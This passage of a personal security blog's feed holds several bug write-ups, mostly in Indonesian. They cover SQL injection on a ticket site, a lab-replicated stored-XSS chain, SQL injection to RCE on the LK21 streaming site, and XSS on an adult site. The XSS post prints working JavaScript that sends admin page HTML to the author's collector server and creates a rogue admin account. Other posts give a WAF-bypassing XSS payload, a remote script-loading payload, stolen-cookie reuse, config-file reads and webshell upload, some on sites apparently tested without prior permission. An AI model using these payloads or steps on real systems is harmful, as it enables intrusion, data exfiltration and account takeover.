<p><a href="/mendapatkan-tiket-gratis-synchronize-fest-2024/images/2.png" alt="SQL Injection Synchronize Fest 2024" target="_blank" title="SQL Injection Synchronize Fest 2024"><img src="/mendapatkan-tiket-gratis-synchronize-fest-2024/images/2.png" alt="SQL Injection Synchronize Fest 2024" /></a>
<em>normal error</em></p>

<p><a href="/mendapatkan-tiket-gratis-synchronize-fest-2024/images/3.png" alt="SQL Injection Synchronize Fest 2024" target="_blank" title="SQL Injection Synchronize Fest 2024"><img src="/mendapatkan-tiket-gratis-synchronize-fest-2024/images/3.png" alt="SQL Injection Synchronize Fest 2024" /></a>
<em>500 internal server error</em></p>

<p>Setelah mendapatkan error yg berbeda, saya merasa sudah menemukan inject point untuk melakukan SQL Injection. Untuk mempercepat waktu, saya menggunakan SQLMap untuk memastikan apakah url tersebut memang vuln.</p>

<p>Dan setelah menunggu beberapa waktu untuk SQLMap melakukan tugasnya, ternyata url tersebut vuln terhadap SQL Injection.</p>

<p><a href="/mendapatkan-tiket-gratis-synchronize-fest-2024/images/4.jpg" alt="SQL Injection Synchronize Fest 2024" target="_blank" title="SQL Injection Synchronize Fest 2024"><img src="/mendapatkan-tiket-gratis-synchronize-fest-2024/images/4.jpg" alt="SQL Injection Synchronize Fest 2024" /></a></p>

<p>Saya melanjutkan sedikit untuk memastikan apakah admin bisa melakukan generate tiket atau apakah tiket tersimpan di database yang sama, dengan niat ingin mendapatkan impact penyerang bisa membuat tiketnya sendiri.</p>

<p>Saya memeriksa table tiket, datanya cukup lengkap. Kredensial admin, juga lengkap. Namun saya berpikir tidak seharusnya menampilkan <em>screenshot</em> di sini. Dari hasil yang sudah didapat, seharusnya bisa dilakukan login lalu membuat tiket gratis saya sendiri.</p>

<hr />

<p>Karena sudah puas dengan validnya temuan ini, saya melaporkan temuan ini melalui email yang tercantum di situs Synchronize lalu diarahkan untuk menghubungi tim IT.</p>

<p>Daaan singkat cerita, niat awal dapat tiket gratis hasil generate sendiri, sekarang saya dapat tiket gratis hasil lapor <em>finding</em>, hehe.</p>

<p><img src="/mendapatkan-tiket-gratis-synchronize-fest-2024/images/5.png" alt="SQL Injection Synchronize Fest 2024" /></p>

<h3 id="penutup">Penutup</h3>
<p>Temuan ini sudah diperbaiki oleh tim Synchronize dan tulisan ini sudah atas izin pihak Synchronize &amp; Tim IT. Sekian tulisan singkat tentang Mendapatkan Tiket Gratis Tiket Synchronize Fest 2024, sampai jumpa pada tulisan selanjutnya.</p>]]></content><author><name>Abay</name><email>akbar@kustirama.id</email></author><category term="Write Up" /><summary type="html"><![CDATA[Write up untuk temuan bug yang saya laporkan ke Synchronize Fest 2024.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://akbar.kustirama.id/mendapatkan-tiket-gratis-synchronize-fest-2024/images/thumb.png" /><media:content medium="image" url="https://akbar.kustirama.id/mendapatkan-tiket-gratis-synchronize-fest-2024/images/thumb.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Weaponised XSS Payload (Write Up)</title><link href="https://akbar.kustirama.id/weaponised-xss-payload/" rel="alternate" type="text/html" title="Weaponised XSS Payload (Write Up)" /><published>2024-03-10T00:00:00+07:00</published><updated>2024-03-10T00:00:00+07:00</updated><id>https://akbar.kustirama.id/weaponised-xss-payload</id><content type="html" xml:base="https://akbar.kustirama.id/weaponised-xss-payload/"><![CDATA[<p>Several months ago, I found a Stored XSS within the Contacts feature of a particular site. This is kinda private site, therefore for the sake of this document and to maintain its privacy, we will refer to it as xss-labs.test.</p>

<p>In order to better illustrate and explain the implications of this discovery, I’ve taken the initiative to create a simple labs environment that replicates the conditions of this finding so screenshot and others are not taken from real site.</p>

<p>I received an XSS alert as usual after entering and submitting the payload in the form. The information I received was standard, including User-agent, User IP, DOM HTML Content, and more. However, I didn’t obtain any user Cookies from this process.</p>

<p>I found out that there are other pages in the HTML Content that only admins can visit, such as <code class="language-plaintext highlighter-rouge">/manage/users</code>, <code class="language-plaintext highlighter-rouge">/manage/contents</code>, etc.</p>

<p><img src="/weaponised-xss-payload/images/WxT3Tn5xN5vNG6QNGt7LzQ.jpeg" alt="Weaponised XSS Payload" /></p>

<p>When I realized that there were other pages potentially usable on the web, I attempted to make requests to those endpoints. I did this to obtain HTML content, allowing me to review what I might find on other pages.</p>

<p>I added the following script in the Custom Payload column of ezXSS. This will cause the target website to execute an additional payload that I provided, following the execution of the main payload.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://xss-labs.test/admin/users</span><span class="dl">'</span><span class="p">)</span>
  <span class="p">.</span><span class="nf">then</span><span class="p">(</span><span class="nx">response</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">response</span><span class="p">.</span><span class="nx">ok</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">throw</span> <span class="k">new</span> <span class="nc">Error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Network response was not ok</span><span class="dl">'</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nx">response</span><span class="p">.</span><span class="nf">text</span><span class="p">();</span>
  <span class="p">})</span>
  <span class="p">.</span><span class="nf">then</span><span class="p">(</span><span class="nx">html</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="c1">// Create a new XMLHttpRequest object</span>
    <span class="kd">var</span> <span class="nx">xhr</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">XMLHttpRequest</span><span class="p">();</span>
    <span class="c1">// Specify the type of request, URL, and that it's asynchronous</span>
    <span class="nx">xhr</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">https://myezxss.domain/assets/logs/receiver.php</span><span class="dl">"</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="c1">// Set request headers</span>
    <span class="nx">xhr</span><span class="p">.</span><span class="nf">setRequestHeader</span><span class="p">(</span><span class="dl">"</span><span class="s2">Content-Type</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">application/x-www-form-urlencoded</span><span class="dl">"</span><span class="p">);</span>
    <span class="c1">// Define what happens on successful data submission</span>
    <span class="nx">xhr</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="nf">function </span><span class="p">()</span> <span class="p">{</span>
      <span class="k">if </span><span class="p">(</span><span class="nx">xhr</span><span class="p">.</span><span class="nx">status</span> <span class="o">&gt;=</span> <span class="mi">200</span> <span class="o">&amp;&amp;</span> <span class="nx">xhr</span><span class="p">.</span><span class="nx">status</span> <span class="o">&lt;</span> <span class="mi">300</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// Handle the response here</span>
        <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Success:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">xhr</span><span class="p">.</span><span class="nx">responseText</span><span class="p">);</span>
      <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="k">throw</span> <span class="k">new</span> <span class="nc">Error</span><span class="p">(</span><span class="dl">'</span><span class="s1">The request was successful, but the response status was not in the range 200-299</span><span class="dl">'</span><span class="p">);</span>
      <span class="p">}</span>
    <span class="p">};</span>
    <span class="c1">// Define what happens in case of an error</span>
    <span class="nx">xhr</span><span class="p">.</span><span class="nx">onerror</span> <span class="o">=</span> <span class="nf">function </span><span class="p">()</span> <span class="p">{</span>
      <span class="nx">console</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">There was an error with the request.</span><span class="dl">'</span><span class="p">);</span>
    <span class="p">};</span>
    <span class="c1">// Send the request with the HTML content</span>
    <span class="nx">xhr</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">htmlContent=</span><span class="dl">'</span> <span class="o">+</span> <span class="nf">encodeURIComponent</span><span class="p">(</span><span class="nx">html</span><span class="p">));</span>
  <span class="p">})</span>
  <span class="p">.</span><span class="k">catch</span><span class="p">(</span><span class="nx">error</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">There was a problem with your fetch operation:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">error</span><span class="p">);</span>
  <span class="p">});</span>
</code></pre></div></div>

<p>The provided script is straightforward JavaScript code. It sends a request to http://xss-labs.test/admin/users. Upon successful execution, it forwards the HTML content to https://myezxss.domain/assets/logs/receiver.php, which I’ve previously set up. The file receiver.php is a basic PHP file that receives the POST request and saves the data to an HTML file, allowing me to view and read the content.</p>

<p><img src="/weaponised-xss-payload/images/3wsK7EeRZONaB4Pc1rVamw.png" alt="Weaponised XSS Payload" /></p>
<center><small>Content of /admin/users (1)</small></center>
<p><img src="/weaponised-xss-payload/images/cwRKfgrwYubjydXhSPj15Q.png" alt="Weaponised XSS Payload" /></p>
<center><small>Content of /admin/users (2)</small></center>

<p>While examining the content of the <code class="language-plaintext highlighter-rouge">/admin/users page</code>, I identified a hyperlink (highlighted in red text.) This link directed to a page specifically designed for the creation of a new user. Intrigued by this finding, I decided to put it to the test. I attempted to apply the same process I had used before to this particular URL, hoping to uncover additional insights or potential vulnerabilities.</p>

<p><img src="/weaponised-xss-payload/images/KhfFk4BTvPE6q9vqF1AN3g.png" alt="Weaponised XSS Payload" /></p>
<center><small>Content of /admin/users/create (1)</small></center>
<p><img src="/weaponised-xss-payload/images/JxPxOyeFlg.png" align="Weaponised XSS Payload" /></p>
<center><small>Content of /admin/users/create (1)</small></center>

<p>After examining the input form closely, I created a script to submit the form with the name, username, and password fields. For the <code class="language-plaintext highlighter-rouge">_token</code>, I used the <code class="language-plaintext highlighter-rouge">querySelector()</code> method to retrieve its value.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Prepare the URL</span>
<span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">http://xss-labs.test/admin/users/add</span><span class="dl">'</span><span class="p">;</span>
<span class="c1">// Create a FormData object and append the input values</span>
<span class="kd">let</span> <span class="nx">formData</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FormData</span><span class="p">();</span>
<span class="nx">formData</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">name</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Hekermen</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">formData</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">username</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">heker</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">formData</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">password</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">heker</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">formData</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">_token</span><span class="dl">'</span><span class="p">,</span> <span class="nb">document</span><span class="p">.</span><span class="nf">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">input[name="_token"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">value</span><span class="p">);</span>
<span class="c1">// Use the Fetch API to submit the form data</span>
<span class="nf">fetch</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">body</span><span class="p">:</span> <span class="nx">formData</span>
<span class="p">})</span>
<span class="p">.</span><span class="nf">then</span><span class="p">(</span><span class="nx">response</span> <span class="o">=&gt;</span> <span class="nx">response</span><span class="p">.</span><span class="nf">text</span><span class="p">())</span>
<span class="p">.</span><span class="nf">then</span><span class="p">(</span><span class="nx">data</span> <span class="o">=&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nx">data</span><span class="p">))</span>
<span class="p">.</span><span class="k">catch</span><span class="p">(</span><span class="nx">error</span> <span class="o">=&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Error:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">error</span><span class="p">));</span>
</code></pre></div></div>

<p>After applying the new payload in Custom Payload on ezXSS, I was able to create a new account on the target website. Now, all I need to do is log in using the username and password I created to access the admin panel of the target successfully.</p>

<p><img src="/weaponised-xss-payload/images/jOSKB2HB41T5nwDsYRA.png" alt="Weaponised XSS Payload" /></p>
<center><small>Logged in using my own account</small></center>

<p>Other references:</p>
<ul>
  <li><a href="https://github.com/hakluke/weaponised-XSS-payloads" target="_blank" title="Reference Link 1">Weaponised XSS Payloads</a> — Luke Stephens (hakluke)</li>
  <li><a href="https://trustedsec.com/blog/tricks-for-weaponizing-xss" target="_blank" title="Reference Link 2">Tricks for Weaponizing XSS</a> — TrustedSec</li>
  <li><a href="https://medium.com/@ephreet/creatively-chaining-xss-techniques-eb5503e15d2e" target="_blank" title="Reference Link 3">Creatively Chaining XSS Techniques</a> — Walter Oberacher</li>
</ul>]]></content><author><name>Abay</name><email>akbar@kustirama.id</email></author><category term="Security" /><category term="Write Up" /><summary type="html"><![CDATA[Several months ago, I found a Stored XSS within the Contacts feature of a particular site. This is kinda private site, therefore for the sake of this document and to maintain its privacy, we will refer to it as xss-labs.test. In order to better illustrate and explain the implications of this discovery, I’ve taken the initiative to create a simple labs environment that replicates the conditions of this finding so screenshot and others are not taken from real site. I received an XSS alert as usual after entering and submitting the payload in the form. The information I received was standard, including User-agent, User IP, DOM HTML Content, and more. However, I didn’t obtain any user Cookies from this process. I found out that there are other pages in the HTML Content that only admins can visit, such as /manage/users, /manage/contents, etc. When I realized that there were other pages potentially usable on the web, I attempted to make requests to those endpoints. I did this to obtain HTML content, allowing me to review what I might find on other pages. I added the following script in the Custom Payload column of ezXSS. This will cause the target website to execute an additional payload that I provided, following the execution of the main payload. fetch('http://xss-labs.test/admin/users') .then(response =&gt; { if (!response.ok) { throw new Error('Network response was not ok'); } return response.text(); }) .then(html =&gt; { // Create a new XMLHttpRequest object var xhr = new XMLHttpRequest(); // Specify the type of request, URL, and that it's asynchronous xhr.open("POST", "https://myezxss.domain/assets/logs/receiver.php", true); // Set request headers xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); // Define what happens on successful data submission xhr.onload = function () { if (xhr.status &gt;= 200 &amp;&amp; xhr.status &lt; 300) { // Handle the response here console.log('Success:', xhr.responseText); } else { throw new Error('The request was successful, but the response status was not in the range 200-299'); } }; // Define what happens in case of an error xhr.onerror = function () { console.error('There was an error with the request.'); }; // Send the request with the HTML content xhr.send('htmlContent=' + encodeURIComponent(html)); }) .catch(error =&gt; { console.error('There was a problem with your fetch operation:', error); }); The provided script is straightforward JavaScript code. It sends a request to http://xss-labs.test/admin/users. Upon successful execution, it forwards the HTML content to https://myezxss.domain/assets/logs/receiver.php, which I’ve previously set up. The file receiver.php is a basic PHP file that receives the POST request and saves the data to an HTML file, allowing me to view and read the content. Content of /admin/users (1) Content of /admin/users (2) While examining the content of the /admin/users page, I identified a hyperlink (highlighted in red text.) This link directed to a page specifically designed for the creation of a new user. Intrigued by this finding, I decided to put it to the test. I attempted to apply the same process I had used before to this particular URL, hoping to uncover additional insights or potential vulnerabilities. Content of /admin/users/create (1) Content of /admin/users/create (1) After examining the input form closely, I created a script to submit the form with the name, username, and password fields. For the _token, I used the querySelector() method to retrieve its value. // Prepare the URL const url = 'http://xss-labs.test/admin/users/add'; // Create a FormData object and append the input values let formData = new FormData(); formData.append('name', 'Hekermen'); formData.append('username', 'heker'); formData.append('password', 'heker'); formData.append('_token', document.querySelector('input[name="_token"]').value); // Use the Fetch API to submit the form data fetch(url, { method: 'POST', body: formData }) .then(response =&gt; response.text()) .then(data =&gt; console.log(data)) .catch(error =&gt; console.error('Error:', error)); After applying the new payload in Custom Payload on ezXSS, I was able to create a new account on the target website. Now, all I need to do is log in using the username and password I created to access the admin panel of the target successfully. Logged in using my own account Other references: Weaponised XSS Payloads — Luke Stephens (hakluke) Tricks for Weaponizing XSS — TrustedSec Creatively Chaining XSS Techniques — Walter Oberacher]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://akbar.kustirama.id/weaponised-xss-payload/images/KXYpbSgTGKaRx12pQrTt2w.png" /><media:content medium="image" url="https://akbar.kustirama.id/weaponised-xss-payload/images/KXYpbSgTGKaRx12pQrTt2w.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">SQL Injection to RCE Situs LK21</title><link href="https://akbar.kustirama.id/sql-injection-to-rce-situs-lk21/" rel="alternate" type="text/html" title="SQL Injection to RCE Situs LK21" /><published>2023-05-29T00:00:00+07:00</published><updated>2023-05-29T00:00:00+07:00</updated><id>https://akbar.kustirama.id/sql-injection-to-rce-situs-lk21</id><content type="html" xml:base="https://akbar.kustirama.id/sql-injection-to-rce-situs-lk21/"><![CDATA[<p><strong>SQL Injection to RCE pada Situs LK21</strong> - Karena sedang agak malas menulis, jadi langsung saja. Tiba-tiba saya punya ide untuk <em>ngehek</em> situs streaming film, LayarKaca21 (LK21).</p>

<p>Seperti yang kita tahu, LK21 sering bergonta ganti domain karena #####. Pada saat melakukan percobaan ini, LK21 sedang berada di domain lk21official.baby dan berubah menjadi nonton.lk21official.wiki saat saya sedang melakukan percobaan.</p>

<blockquote>
  <p><strong>Disclaimer</strong>:<br />
Tulisan ini hasil percobaan beberapa waktu lalu bersama <a href="https://www.linkedin.com/in/abdiprawiran/">Abdi Prawira</a> yang awalnya tidak diniatkan untuk ditulis, karena itu beberapa <em>screenshot</em> di bawah bisa jadi tidak terlalu menjelaskan secara detail tentang apa yang sedang dilakukan.</p>
</blockquote>

<p>Dari hasil <em>information gathering</em>, diketahui situs LK21 menggunakan Wordpress dengan tambahan beberapa custom php file untuk tujuan yang mungkin tidak disediakan oleh WordPress.</p>

<h3 id="sql-injection-situs-lk21">SQL Injection Situs LK21</h3>

<p>Saya menemukan SQL Injection pada salah satu custom php file situs tersebut.</p>

<p><img src="images/image-9.png" alt="SQL Injection Situs LK21" /></p>

<p>Karena situs LK21 menggunakan WordPress, saya mencoba untuk mendapatkan data dari table <code class="language-plaintext highlighter-rouge">wp_users</code>, namun tidak sampai membuang waktu untuk mencoba mendapatkan string asli dari kolom password.</p>

<p>Setelah percobaan lebih lanjut, diketahui user MySQL yang digunakan adalah DB Administrator. Saya mencoba <a href="https://akbar.kustirama.id/upload-shell-menggunakan-sqlmap/">upload shell menggunakan SQLMap</a> melalui command <code class="language-plaintext highlighter-rouge">--os-shell</code> dan <code class="language-plaintext highlighter-rouge">--file-write</code> namun tidak berhasil karena user (Server User) <code class="language-plaintext highlighter-rouge">mysql</code> tidak mempunyai akses untuk membuat file pada direktori target.</p>

<p>Selanjutnya saya mencoba membaca beberapa file konfigurasi seperti file konfigurasi Nginx dan MySQL menggunakan command <code class="language-plaintext highlighter-rouge">--file-read</code> yang ternyata tidak terlalu berguna. Namun saya menemukan IP asli dari server tersebut pada file <code class="language-plaintext highlighter-rouge">/etc/hosts</code>.</p>

<p><img src="images/image.jpg" alt="" /></p>

<p>Saya melanjutkan percobaan dengan melakukan directory scanning pada IP yang terdapat pada file sebelumnya. Dari hasil scanning, saya menemukan file <code class="language-plaintext highlighter-rouge">adm.php</code> yang berisi <a href="https://www.adminer.org/">Adminer</a>.</p>

<blockquote>
  <p>Adminer adalah sebuah aplikasi web open-source yang menyediakan antarmuka pengguna untuk mengelola database SQL dengan tampilan yang sederhana dan mudah digunakan.</p>
</blockquote>

<p><img src="images/image1.jpg" alt="SQL Injection Situs LK21" /></p>

<p>Selanjutnya saya mencoba membaca file konfigurasi WordPress yang berada di <code class="language-plaintext highlighter-rouge">wp-config.php</code>. Sebelumnya saya mendapatkan <em>full path</em> dari file konfigurasi Nginx saat menemukan SQL Injection di atas.</p>

<p><img src="images/image2.jpg" alt="SQL Injection Situs LK21" /></p>

<p>Setelah mendapatkan informasi login database, saya menduplikasi user admin lalu mengubah username dan password user baru tersebut.</p>

<p>Saya berhasil login ke dashboard LK21.</p>

<p><img src="images/image4.jpg" alt="SQL Injection Situs LK21" /></p>

<p>Selanjutnya saya mencoba upload webshell melalui fitur upload plugin (bukan pada domain yang ada di screenshot atas—lupa skrinsut) dan file hasil upload akan berada pada direktori <code class="language-plaintext highlighter-rouge">/wp-content/uploads/[bulan]/[tanggal]/namafile.php</code>.</p>

<p><img src="images/Screen-Shot-2023-07-30-at-00.09.34.png" alt="SQL Injection Situs LK21" /></p>

<p>Saya sudah melaporkan temuan ini melalui akun Telegram LK21 yang terdapat pada situs dan sudah diberikan izin untuk mempublish tulisan tentang laporan tersebut.</p>

<p>Sekian tulisan singkat tentang SQL Injection to RCE pada Situs LK21, sampai jumpa pada tulisan selanjutnya.</p>

<h3 id="bonus"><strong>Bonus</strong>:</h3>

<p>Saat saya sudah berhasil upload webshell, saya melihat terdapat file konfigurasi untuk mengakses API <a href="https://www.cloudflare.com/">CloudFlare</a>. Yang artinya, saya bisa saja mengubah arah domain-domain yang ada di akun tersebut menuju server saya, hehe.
<img src="images/image5.jpg" alt="SQL Injection Situs LK21" /></p>

<blockquote>
  <p>Tulisan ini sudah dipublikasi pada situs <em>hekermen.com</em> dengan judul <a href="https://hekermen.com/blog/sql-injection-to-rce-pada-situs-lk21" target="_blank">SQL Injection to RCE Situs LK21</a>.</p>
</blockquote>]]></content><author><name>Abay</name><email>akbar@kustirama.id</email></author><category term="Write Up" /><summary type="html"><![CDATA[SQL Injection Situs LK21 - Tiba-tiba saya punya ide untuk melakukan test pada situs tempat saya menonton, LayarKaca21 (LK21).]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://akbar.kustirama.id/sql-injection-to-rce-situs-lk21/images/lk21-thumbnail.jpg" /><media:content medium="image" url="https://akbar.kustirama.id/sql-injection-to-rce-situs-lk21/images/lk21-thumbnail.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Mengintip Dashboard Admin Situs Haram</title><link href="https://akbar.kustirama.id/mengintip-dashboard-admin-situs-haram/" rel="alternate" type="text/html" title="Mengintip Dashboard Admin Situs Haram" /><published>2022-12-17T00:00:00+07:00</published><updated>2022-12-17T00:00:00+07:00</updated><id>https://akbar.kustirama.id/mengintip-dashboard-admin-situs-haram</id><content type="html" xml:base="https://akbar.kustirama.id/mengintip-dashboard-admin-situs-haram/"><![CDATA[<p>Kegiatan ini berawal dari salah satu teman yang memberi informasi bahwa dia baru saja mendapatkan <em>bounty</em> dari salah satu situs haram yang ada di luar sana. Singkat cerita, saya mencoba mencari peruntungan serupa dengan mencari situs sejenis di pencarian Google dengan harapan menemukan situs yang cukup “umum” yang secara fitur punya banyak bagian yang bisa saya coba untuk masuki.</p>

<p>Untuk mempermudah dan agar saya tidak perlu menyebut nama situsnya, mari kita sebut situs ini sebagai <code class="language-plaintext highlighter-rouge">situsharam.com</code>.</p>

<p><img src="images/screenshot-situs-haram.png" alt="Mengintip Dashboard Admin Situs Haram" /></p>

<p>Setelah mencoba beberapa fitur seperti list <em>actors/actress</em>, kategori, pencarian, serta fitur yang membutuhkan autentikasi pengguna seperti <em>edit profile</em>, <em>like</em>, <em>comment</em> dan semacamnya, saya menemukan beberapa celah yang detailnya akan saya jelaskan di bawah ini.</p>

<h2 id="reflected-xss-pada-halaman-pencarian">Reflected XSS pada Halaman Pencarian</h2>
<p>Celah pertama adalah <em>Reflected XSS</em> yang saya temukan di halaman pencarian. Payload yang saya gunakan adalah:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>asd"&gt;<span class="nt">&lt;ScRiPt</span><span class="err">%20</span><span class="nt">&gt;</span>alert(1);<span class="nt">&lt;</span><span class="err">%2</span><span class="na">fscript</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>Saat mencoba, saya menemukan bahwa karakter <code class="language-plaintext highlighter-rouge">/</code> diblok oleh WAF sehingga saya coba untuk mem-bypass rule tersebut menggunakan karakter <code class="language-plaintext highlighter-rouge">%2f</code>. Dari temuan ini saya bisa menggunakan <em>payload</em> yang sudah disisipi <em>script</em> untuk mencuri <code class="language-plaintext highlighter-rouge">cookie</code> pengguna.</p>

<p>Pada kasus di dunia nyata, seorang penyerang akan menyisipkan javascript yang bertujuan untuk mencuri <em>cookie</em> pengguna dan beberapa data lain, lalu mengirimnya pada server penyerang.</p>

<p>Untuk melakukan ini, penyerang perlu mengirim URL (yang sudah disisipi <em>payload</em>) ke pengguna lain atau pemilik/admin dari situs ini. Lalu penyerang akan menggunakan data tersebut untuk masuk di situs target tanpa menggunakan <em>username</em> dan <em>password</em>.</p>

<p><img src="images/screenshot-reflected-xss-pencarian.jpg" alt="Mengintip Dashboard Admin Situs Haram" /></p>

<h2 id="stored-xss-pada-profile">Stored XSS pada Profile</h2>
<p>Saya rasa kebanyakan <em>bug bounty hunter</em> (termasuk saya) akan mencoba memasukkan <em>payload</em> ke setiap form yang kami temui. Dengan modal “penting yakin”, saya mengisi <code class="language-plaintext highlighter-rouge">"&gt;&lt;h1&gt;asdf&lt;/h1&gt;"</code> pada kolom nama di halaman <em>Edit Profile</em>.</p>

<p>Setelah menyimpan perubahan tersebut, kode HTML yang saya sisipkan dibaca oleh situs sehingga menandakan adanya potensi untuk <em>Stored XSS</em>.</p>

<p><img src="images/screenshot-html-injection-profile.jpg" /></p>

<p>Saya melanjutkan dengan memasukkan payload:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"&gt;<span class="nt">&lt;script </span><span class="na">src=</span><span class="s">//x.serversaya.com</span><span class="nt">&gt;&lt;/script&gt;&lt;x</span><span class="err">="</span>
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">"&gt;</code> = digunakan untuk keluar dari input form (<code class="language-plaintext highlighter-rouge">&lt;input&gt;</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">&lt;script src=//x.serversaya.com&gt;&lt;/script&gt;</code> = digunakan untuk memanggil script dari server saya (<a href="https://github.com/ssl/ezXSS" target="_blank">ezXSS</a>)</li>
  <li><code class="language-plaintext highlighter-rouge">&lt;x="</code> = digunakan untuk membuka kembali hasil escape dari input form, sehingga tidak ada “ type=”text” dst seperti screenshot di atas</li>
</ul>

<p>Setelah beberapa waktu menunggu, saya mendapat notifikasi bahwa payload di atas ditemukan di domain lain (cp.situslain.com) yang mana adalah dashboard admin dari <code class="language-plaintext highlighter-rouge">situsharam.com</code>. Berikut detail laporan dari <a href="https://github.com/ssl/ezXSS" target="_blank">ezXSS</a> saat payload saya ditemukan di dashboard admin (klik gambar untuk memperbesar).</p>

<p><a href="images/screenshot-xss-dashboard-admin-situs-haram.jpg" target="_blank"><img src="images/screenshot-xss-dashboard-admin-situs-haram.jpg" alt="Mengintip Dashboard Admin Situs Haram" /></a></p>

<p>Pada tangkapan layar di atas, terlihat ada <code class="language-plaintext highlighter-rouge">cookie</code> admin yang tertangkap oleh kode javascript yang saya panggil. Saya akan mencoba menggunakan Cookie tersebut untuk masuk ke <code class="language-plaintext highlighter-rouge">https://cp.situslain.com/user/edit/{userid}</code>.</p>

<p>Ketika mengakses <code class="language-plaintext highlighter-rouge">https://cp.situslain.com/user/edit/{userid}</code>, saya dialihkan ke halaman login <code class="language-plaintext highlighter-rouge">https://cp.situslain.com/user/login</code>.</p>

<p><img src="images/screenshot-login-page-set-cookie.jpg" alt="Mengintip Dashboard Admin Situs Haram" /></p>

<p>Selanjutnya saya mencoba <em>set cookie</em> manual melalui <code class="language-plaintext highlighter-rouge">Console</code> pada <code class="language-plaintext highlighter-rouge">inspect element</code> dengan cara memasukkan kode javascript. Cookie ini berasal dari laporan ezXSS di atas:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">PHPSESSID=lot4#######################</span><span class="dl">'</span><span class="p">;</span>
</code></pre></div></div>

<p>Setelah Cookie di-set, saya mencoba mengulang lagi dan akhirnya berhasil membuka halaman <code class="language-plaintext highlighter-rouge">https://cp.situslain.com/user/edit/{userid}</code>.</p>

<p><img src="images/screenshot-dashboard-admin-situs-haram.jpg" alt="Mengintip Dashboard Admin Situs Haram" /></p>

<p><strong>Disclaimer</strong><br />
<em>Level</em> dan <em>Credit</em> yang tertera pada screenshot adalah pemberian admin (apresiasi, menurut istilah sekarang) setelah saya melaporkan temuan ini. Proses pelaporan tidak akan saya jelaskan di sini, hehe.</p>

